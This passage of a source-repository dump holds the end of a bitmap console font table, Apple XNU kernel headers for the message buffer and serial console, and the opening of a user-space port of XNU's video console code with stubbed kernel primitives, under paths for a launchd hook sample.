0x00, 0x30, 0x18, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 181 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x76, 0x6e, 0x06, 0x06, 0x03, 0x00,\n/* 182 */ 0x00, 0x00, 0x7e, 0x2f, 0x2f, 0x2f, 0x2e, 0x28, 0x28, 0x28, 0x28, 0x28, 0x00, 0x00, 0x00, 0x00,\n/* 183 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 184 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x30, 0x1e, 0x00,\n/* 185 */ 0x00, 0x0c, 0x0e, 0x0c, 0x0c, 0x0c, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 186 */ 0x00, 0x1e, 0x33, 0x33, 0x33, 0x33, 0x1e, 0x00, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 187 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x1b, 0x36, 0x6c, 0x6c, 0x36, 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 188 */ 0x00, 0x10, 0x1c, 0x18, 0x18, 0x18, 0x00, 0x7f, 0x00, 0x18, 0x1c, 0x1a, 0x3e, 0x18, 0x00, 0x00,\n/* 189 */ 0x00, 0x10, 0x1c, 0x18, 0x18, 0x18, 0x00, 0x7f, 0x00, 0x1c, 0x36, 0x18, 0x0c, 0x3e, 0x00, 0x00,\n/* 190 */ 0x00, 0x1c, 0x36, 0x18, 0x36, 0x1c, 0x00, 0x7f, 0x00, 0x18, 0x1c, 0x1a, 0x3e, 0x18, 0x00, 0x00,\n/* 191 */ 0x00, 0x00, 0x00, 0x00, 0x0c, 0x0c, 0x00, 0x0c, 0x0c, 0x06, 0x06, 0x03, 0x63, 0x3e, 0x00, 0x00,\n/* 192 */ 0x0c, 0x18, 0x3e, 0x63, 0x63, 0x63, 0x7f, 0x63, 0x63, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 193 */ 0x18, 0x0c, 0x3e, 0x63, 0x63, 0x63, 0x7f, 0x63, 0x63, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 194 */ 0x08, 0x14, 0x3e, 0x63, 0x63, 0x63, 0x7f, 0x63, 0x63, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 195 */ 0x6e, 0x3b, 0x3e, 0x63, 0x63, 0x63, 0x7f, 0x63, 0x63, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 196 */ 0x36, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x7f, 0x63, 0x63, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 197 */ 0x1c, 0x36, 0x3e, 0x63, 0x63, 0x63, 0x7f, 0x63, 0x63, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 198 */ 0x00, 0x00, 0xfe, 0x33, 0x33, 0x33, 0xff, 0x33, 0x33, 0x33, 0x33, 0xf3, 0x00, 0x00, 0x00, 0x00,\n/* 199 */ 0x00, 0x00, 0x3c, 0x66, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x66, 0x3c, 0x18, 0x30, 0x1e, 0x00,\n/* 200 */ 0x0c, 0x18, 0x7f, 0x03, 0x03, 0x03, 0x3f, 0x03, 0x03, 0x03, 0x03, 0x7f, 0x00, 0x00, 0x00, 0x00,\n/* 201 */ 0x18, 0x0c, 0x7f, 0x03, 0x03, 0x03, 0x3f, 0x03, 0x03, 0x03, 0x03, 0x7f, 0x00, 0x00, 0x00, 0x00,\n/* 202 */ 0x08, 0x14, 0x7f, 0x03, 0x03, 0x03, 0x3f, 0x03, 0x03, 0x03, 0x03, 0x7f, 0x00, 0x00, 0x00, 0x00,\n/* 203 */ 0x36, 0x00, 0x7f, 0x03, 0x03, 0x03, 0x3f, 0x03, 0x03, 0x03, 0x03, 0x7f, 0x00, 0x00, 0x00, 0x00,\n/* 204 */ 0x0c, 0x18, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x3c, 0x00, 0x00, 0x00, 0x00,\n/* 205 */ 0x30, 0x18, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x3c, 0x00, 0x00, 0x00, 0x00,\n/* 206 */ 0x18, 0x24, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x3c, 0x00, 0x00, 0x00, 0x00,\n/* 207 */ 0x66, 0x00, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x3c, 0x00, 0x00, 0x00, 0x00,\n/* 208 */ 0x00, 0x00, 0x1e, 0x36, 0x66, 0x66, 0x6f, 0x66, 0x66, 0x66, 0x36, 0x1e, 0x00, 0x00, 0x00, 0x00,\n/* 209 */ 0x6e, 0x3b, 0x63, 0x63, 0x67, 0x6f, 0x6f, 0x7b, 0x7b, 0x73, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 210 */ 0x06, 0x0c, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 211 */ 0x30, 0x18, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 212 */ 0x08, 0x14, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 213 */ 0x6e, 0x3b, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 214 */ 0x36, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 215 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x3c, 0x18, 0x3c, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 216 */ 0x00, 0x20, 0x3e, 0x73, 0x73, 0x6b, 0x6b, 0x6b, 0x6b, 0x67, 0x67, 0x3e, 0x02, 0x00, 0x00, 0x00,\n/* 217 */ 0x0c, 0x18, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 218 */ 0x18, 0x0c, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 219 */ 0x08, 0x14, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 220 */ 0x36, 0x00, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 221 */ 0x30, 0x18, 0xc3, 0xc3, 0x66, 0x66, 0x3c, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00,\n/* 222 */ 0x00, 0x00, 0x0f, 0x06, 0x3e, 0x66, 0x66, 0x66, 0x66, 0x3e, 0x06, 0x0f, 0x00, 0x00, 0x00, 0x00,\n/* 223 */ 0x00, 0x00, 0x1e, 0x33, 0x33, 0x1b, 0x33, 0x63, 0x63, 0x63, 0x63, 0x3b, 0x00, 0x00, 0x00, 0x00,\n/* 224 */ 0x00, 0x0c, 0x18, 0x30, 0x00, 0x3e, 0x60, 0x7e, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 225 */ 0x00, 0x30, 0x18, 0x0c, 0x00, 0x3e, 0x60, 0x7e, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 226 */ 0x00, 0x08, 0x1c, 0x36, 0x00, 0x3e, 0x60, 0x7e, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 227 */ 0x00, 0x00, 0x6e, 0x3b, 0x00, 0x3e, 0x60, 0x7e, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 228 */ 0x00, 0x00, 0x36, 0x36, 0x00, 0x3e, 0x60, 0x7e, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 229 */ 0x00, 0x1c, 0x36, 0x1c, 0x00, 0x3e, 0x60, 0x7e, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 230 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0xdb, 0xd8, 0xfe, 0x1b, 0xdb, 0x76, 0x00, 0x00, 0x00, 0x00,\n/* 231 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x63, 0x03, 0x03, 0x03, 0x63, 0x3e, 0x18, 0x30, 0x1e, 0x00,\n/* 232 */ 0x00, 0x0c, 0x18, 0x30, 0x00, 0x3e, 0x63, 0x63, 0x7f, 0x03, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 233 */ 0x00, 0x30, 0x18, 0x0c, 0x00, 0x3e, 0x63, 0x63, 0x7f, 0x03, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 234 */ 0x00, 0x08, 0x1c, 0x36, 0x00, 0x3e, 0x63, 0x63, 0x7f, 0x03, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 235 */ 0x00, 0x00, 0x36, 0x36, 0x00, 0x3e, 0x63, 0x63, 0x7f, 0x03, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 236 */ 0x00, 0x06, 0x0c, 0x18, 0x00, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x38, 0x00, 0x00, 0x00, 0x00,\n/* 237 */ 0x00, 0x18, 0x0c, 0x06, 0x00, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x38, 0x00, 0x00, 0x00, 0x00,\n/* 238 */ 0x00, 0x08, 0x1c, 0x36, 0x00, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x38, 0x00, 0x00, 0x00, 0x00,\n/* 239 */ 0x00, 0x00, 0x36, 0x36, 0x00, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x38, 0x00, 0x00, 0x00, 0x00,\n/* 240 */ 0x00, 0x00, 0x2c, 0x18, 0x34, 0x60, 0x7c, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x00, 0x00, 0x00, 0x00,\n/* 241 */ 0x00, 0x00, 0x6e, 0x3b, 0x00, 0x3b, 0x67, 0x63, 0x63, 0x63, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00,\n/* 242 */ 0x00, 0x06, 0x0c, 0x18, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 243 */ 0x00, 0x30, 0x18, 0x0c, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 244 */ 0x00, 0x08, 0x1c, 0x36, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 245 */ 0x00, 0x00, 0x6e, 0x3b, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 246 */ 0x00, 0x00, 0x36, 0x36, 0x00, 0x3e, 0x63, 0x63, 0x63, 0x63, 0x63, 0x3e, 0x00, 0x00, 0x00, 0x00,\n/* 247 */ 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, 0x7e, 0x00, 0x18, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00,\n/* 248 */ 0x00, 0x00, 0x00, 0x00, 0x20, 0x3e, 0x73, 0x6b, 0x6b, 0x6b, 0x67, 0x3e, 0x02, 0x00, 0x00, 0x00,\n/* 249 */ 0x00, 0x06, 0x0c, 0x18, 0x00, 0x63, 0x63, 0x63, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 250 */ 0x00, 0x30, 0x18, 0x0c, 0x00, 0x63, 0x63, 0x63, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 251 */ 0x00, 0x08, 0x1c, 0x36, 0x00, 0x63, 0x63, 0x63, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 252 */ 0x00, 0x00, 0x36, 0x36, 0x00, 0x63, 0x63, 0x63, 0x63, 0x63, 0x73, 0x6e, 0x00, 0x00, 0x00, 0x00,\n/* 253 */ 0x00, 0x30, 0x18, 0x0c, 0x00, 0x63, 0x63, 0x36, 0x36, 0x1c, 0x1c, 0x0c, 0x0c, 0x06, 0x03, 0x00,\n/* 254 */ 0x00, 0x00, 0x0f, 0x06, 0x06, 0x3e, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3e, 0x06, 0x06, 0x0f, 0x00,\n/* 255 */ 0x00, 0x00, 0x36, 0x36, 0x00, 0x63, 0x63, 0x36, 0x36, 0x1c, 0x1c, 0x0c, 0x0c, 0x06, 0x03, 0x00\n};\n\n#define ISO_CHAR_MIN    0x00\n#define ISO_CHAR_MAX    0xFF\n#define ISO_CHAR_WIDTH  8\n#define ISO_CHAR_HEIGHT 16\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/verbose/console/msgbuf.h",
    "content": "/*\n * Copyright (c) 2000-2010 Apple, Inc. All rights reserved.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_START@\n *\n * This file contains Original Code and/or Modifications of Original Code\n * as defined in and that are subject to the Apple Public Source License\n * Version 2.0 (the 'License'). You may not use this file except in\n * compliance with the License. The rights granted to you under the License\n * may not be used to create, or enable the creation or redistribution of,\n * unlawful or unlicensed copies of an Apple operating system, or to\n * circumvent, violate, or enable the circumvention or violation of, any\n * terms of an Apple operating system software license agreement.\n *\n * Please obtain a copy of the License at\n * http://www.opensource.apple.com/apsl/ and read it before using this file.\n *\n * The Original Code and all software distributed under the License are\n * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER\n * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,\n * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.\n * Please see the License for the specific language governing rights and\n * limitations under the License.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_END@\n */\n/* Copyright (c) 1995 NeXT Computer, Inc. All Rights Reserved */\n/*\n * Copyright (c) 1981, 1984, 1993\n *\tThe Regents of the University of California.  All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n *    must display the following acknowledgement:\n *\tThis product includes software developed by the University of\n *\tCalifornia, Berkeley and its contributors.\n * 4. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)msgbuf.h\t8.1 (Berkeley) 6/2/93\n */\n#ifndef _SYS_MSGBUF_H_\n#define _SYS_MSGBUF_H_\n\n#include <sys/cdefs.h>\n\n#define MAX_MSG_BSIZE   (1*1024*1024)\nstruct  msgbuf {\n#define MSG_MAGIC       0x063061\n\tint             msg_magic;\n\tint             msg_size;\n\tint             msg_bufx;               /* write pointer */\n\tint             msg_bufr;               /* read pointer */\n\tchar    *msg_bufc;              /* buffer */\n};\n\n#ifdef XNU_KERNEL_PRIVATE\n__BEGIN_DECLS\nextern struct   msgbuf *msgbufp;\nextern struct   msgbuf *aslbufp;\nextern void log_putc(char);\nextern void log_putc_locked(struct msgbuf *, char);\nextern int log_setsize(int size);\nextern int log_dmesg(user_addr_t, uint32_t, int32_t *);\n__END_DECLS\n#endif /* XNU_KERNEL_PRIVATE */\n\n#endif  /* !_SYS_MSGBUF_H_ */\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/verbose/console/serial_protos.h",
    "content": "/*\n * Copyright (c) 2005-2006 Apple Computer, Inc. All rights reserved.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_START@\n *\n * This file contains Original Code and/or Modifications of Original Code\n * as defined in and that are subject to the Apple Public Source License\n * Version 2.0 (the 'License'). You may not use this file except in\n * compliance with the License. The rights granted to you under the License\n * may not be used to create, or enable the creation or redistribution of,\n * unlawful or unlicensed copies of an Apple operating system, or to\n * circumvent, violate, or enable the circumvention or violation of, any\n * terms of an Apple operating system software license agreement.\n *\n * Please obtain a copy of the License at\n * http://www.opensource.apple.com/apsl/ and read it before using this file.\n *\n * The Original Code and all software distributed under the License are\n * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER\n * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,\n * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.\n * Please see the License for the specific language governing rights and\n * limitations under the License.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_END@\n */\n/*\n * @OSF_COPYRIGHT@\n */\n/*\n * @APPLE_FREE_COPYRIGHT@\n */\n\n#ifndef _CONSOLE_SERIAL_PROTOS_H_\n#define _CONSOLE_SERIAL_PROTOS_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\nvoid serial_keyboard_init(void);\nvoid serial_keyboard_start(void) __dead2;\nvoid serial_keyboard_poll(void) __dead2;\n\nextern uint32_t serialmode;\n\n#define SERIALMODE_OUTPUT    0x1\n#define SERIALMODE_INPUT     0x2\n#define SERIALMODE_SYNCDRAIN 0x4\n#define SERIALMODE_BASE_TTY  0x8 /* Load Base/Recovery/FVUnlock TTY */\n\nextern uint32_t cons_ops_index;\nextern const uint32_t nconsops;\nextern unsigned int disable_serial_output;\n#if defined(__arm__) || defined(__arm64__)\n/* ARM64_TODO */\nextern void *console_cpu_alloc(boolean_t);\nextern void console_cpu_free(void *);\nvoid console_init(void);\n#endif\n\nint _serial_getc(int unit, int line, boolean_t wait, boolean_t raw);\n\nstruct console_ops {\n\tvoid    (*putc)(int, int, int);\n\tint     (*getc)(int, int, boolean_t, boolean_t);\n};\n\nboolean_t console_is_serial(void);\nint switch_to_serial_console(void);\nint switch_to_video_console(void);\nvoid switch_to_old_console(int old_console);\n\n#define SERIAL_CONS_OPS 0\n#define VC_CONS_OPS 1\n\n#ifdef XNU_KERNEL_PRIVATE\n\n#define SERIAL_CONS_BUF_SIZE  256\nstruct console_printbuf_state {\n\tint pos;\n\tint total;\n\tint flags;\n#define CONS_PB_WRITE_NEWLINE  0x1\n#define CONS_PB_CANBLOCK       0x2\n\tchar str[SERIAL_CONS_BUF_SIZE];\n};\n\nextern int console_printbuf_drain_initialized;\nvoid console_printbuf_state_init(struct console_printbuf_state * data, int write_on_newline, int can_block);\nvoid console_printbuf_putc(int ch, void *arg);\nvoid console_printbuf_clear(struct console_printbuf_state * info);\nint console_write_try(char * str, int size);\n\n\n#endif /* XNU_KERNEL_PRIVATE */\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif /* _CONSOLE_SERIAL_PROTOS_H_ */\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/verbose/console/video_console.c",
    "content": "/*\n * Copyright (c) 2000-2020 Apple Inc. All rights reserved.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_START@\n *\n * This file contains Original Code and/or Modifications of Original Code\n * as defined in and that are subject to the Apple Public Source License\n * Version 2.0 (the 'License'). You may not use this file except in\n * compliance with the License. The rights granted to you under the License\n * may not be used to create, or enable the creation or redistribution of,\n * unlawful or unlicensed copies of an Apple operating system, or to\n * circumvent, violate, or enable the circumvention or violation of, any\n * terms of an Apple operating system software license agreement.\n *\n * Please obtain a copy of the License at\n * http://www.opensource.apple.com/apsl/ and read it before using this file.\n *\n * The Original Code and all software distributed under the License are\n * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER\n * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,\n * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.\n * Please see the License for the specific language governing rights and\n * limitations under the License.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_END@\n */\n/*\n * @OSF_FREE_COPYRIGHT@\n *\n */\n/*\n * @APPLE_FREE_COPYRIGHT@\n */\n/*\n *\tNetBSD: ite.c,v 1.16 1995/07/17 01:24:34 briggs Exp\n *\n * Copyright (c) 1988 University of Utah.\n * Copyright (c) 1990, 1993\n *\tThe Regents of the University of California.  All rights reserved.\n *\n * This code is derived from software contributed to Berkeley by\n * the Systems Programming Group of the University of Utah Computer\n * Science Department.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n *    must display the following acknowledgement:\n *\tThis product includes software developed by the University of\n *\tCalifornia, Berkeley and its contributors.\n * 4. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * from: Utah $Hdr: ite.c 1.28 92/12/20$\n *\n *\t@(#)ite.c\t8.2 (Berkeley) 1/12/94\n */\n\n/*\n * ite.c\n *\n * The ite module handles the system console; that is, stuff printed\n * by the kernel and by user programs while \"desktop\" and X aren't\n * running.  Some (very small) parts are based on hp300's 4.4 ite.c,\n * hence the above copyright.\n *\n *   -- Brad and Lawrence, June 26th, 1994\n *\n */\n\n#include \"video_console.h\"\n#include \"video_scroll.c\"\n#include \"serial_protos.h\"\n\n//#include <kern/kern_types.h>\n//#include <kern/kalloc.h>\n//#include <kern/debug.h>\n//#include <kern/spl.h>\n//#include <kern/thread_call.h>\n\n//#include <vm/pmap.h>\n//#include <vm/vm_kern.h>\n//#include <machine/>\n//#include <machine/machine_cpu.h>\n\n//#include <pexpert/pexpert.h>\n//#include <sys/kdebug.h>\n\n#include <assert.h>\n#include <mach/mach_time.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"iso_font.c\"\n#if defined(XNU_TARGET_OS_OSX)\n#include \"progress_meter_data.c\"\n#endif\n\n#include \"msgbuf.h\"\n\n\n#define kPEGraphicsMode         1\n#define kPETextMode             2\n#define kPETextScreen           3\n#define kPEAcquireScreen        4\n#define kPEReleaseScreen        5\n#define kPEEnableScreen         6\n#define kPEDisableScreen        7\n#define kPEBaseAddressChange    8\n#define kPERefreshBootGraphics  9\n\n#if __has_attribute(fallthrough)\n#define OS_FALLTHROUGH __attribute__((__fallthrough__))\n#else\n#define OS_FALLTHROUGH\n#endif\n\n#define         NEVER           0\n#define         ALWAYS          1\n\n#define         MACRO_BEGIN     do {\n#define         MACRO_END       } while (NEVER)\n\n#define console_is_serial() 0\nint switch_to_serial_console() {return 0;}\n\n#define KHEAP_DATA_BUFFERS 0\n#define Z_WAITOK\n#define kheap_alloc(a, b, c) malloc(b)\n#define kheap_free(a, b, c) free(b)\n\n#define LCK_GRP_NULL 0\n\n#define decl_simple_lock_data(a, b)\n\n#define simple_lock_init(a, b)\n#define simple_lock(a, b)\n#define simple_unlock(a)\n\ntypedef unsigned spl_t;\n#define splhigh()       (spl_t) 0\n#define splx(x)\n\nstruct thread_call {};\ntypedef struct thread_call thread_call_data_t;\n#define thread_call_setup(a, b, c)\n#define thread_call_enter_delayed(a, b) // TODO: implement for the progress bar\n#define thread_call_cancel(a)\n\n#define os_add_overflow __builtin_add_overflow\n\n// FIXME correct value?\n#define rtclock_sec_divisor 10\n\nenum {\n\tkPEScaleFactorUnknown = 0,\n\tkPEScaleFactor1x      = 1,\n\tkPEScaleFactor2x      = 2,\n};\n\nstruct PE_Video {\n\tunsigned long   v_baseAddr;     /* Base address of video memory */\n\tunsigned long   v_rowBytes;     /* Number of bytes per pixel row */\n\tunsigned long   v_width;        /* Width */\n\tunsigned long   v_height;       /* Height */\n\tunsigned long   v_depth;        /* Pixel Depth */\n\tunsigned long   v_display;      /* Text or Graphics */\n\tchar            v_pixelFormat[64];\n\tunsigned long   v_offset;       /* offset into video memory to start at */\n\tunsigned long   v_length;       /* length of video memory (0 for v_rowBytes * v_height) */\n\tunsigned char   v_rotate;       /* Rotation: 0:normal, 1:right 90, 2:left 180, 3:left 90 */\n\tunsigned char   v_scale;        /* Scale Factor for both X & Y */\n\tchar            reserved1[2];\n#ifdef __LP64__\n\tlong            reserved2;\n#else\n\tlong            v_baseAddrHigh;\n#endif\n};\n\ntypedef struct PE_Video       PE_Video;\n\nvoid\nclock_deadline_for_periodic_event(\n\tuint64_t                        interval,\n\tuint64_t                        abstime,\n\tuint64_t                        *deadline)\n{\n\tassert(interval != 0);\n\n\t// *deadline += interval;\n\tif (os_add_overflow(*deadline, interval, deadline)) {\n\t\t*deadline = UINT64_MAX;\n\t}\n\n\tif (*deadline <= abstime) {\n\t\t// *deadline = abstime + interval;\n\t\tif (os_add_overflow(abstime, interval, deadline)) {\n\t\t\t*deadline = UINT64_MAX;\n\t\t}\n\n\t\tabstime = mach_absolute_time();\n\t\tif (*deadline <= abstime) {\n\t\t\t// *deadline = abstime + interval;\n\t\t\tif (os_add_overflow(abstime, interval, deadline)) {\n\t\t\t\t*deadline = UINT64_MAX;\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid\nclock_interval_to_absolutetime_interval(uint32_t   interval,\n    uint32_t   scale_factor,\n    uint64_t * result)\n{\n\tuint64_t nanosecs = (uint64_t) interval * scale_factor;\n\tuint64_t t64;\n\n\t*result = (t64 = nanosecs / NSEC_PER_SEC) * rtclock_sec_divisor;\n\tnanosecs -= (t64 * NSEC_PER_SEC);\n\t*result += (nanosecs * rtclock_sec_divisor) / NSEC_PER_SEC;\n}\n\nvoid\nclock_interval_to_deadline(\n\tuint32_t                        interval,\n\tuint32_t                        scale_factor,\n\tuint64_t                        *result)\n{\n\tuint64_t        abstime;\n\n\tclock_interval_to_absolutetime_interval(interval, scale_factor, &abstime);\n\n\tif 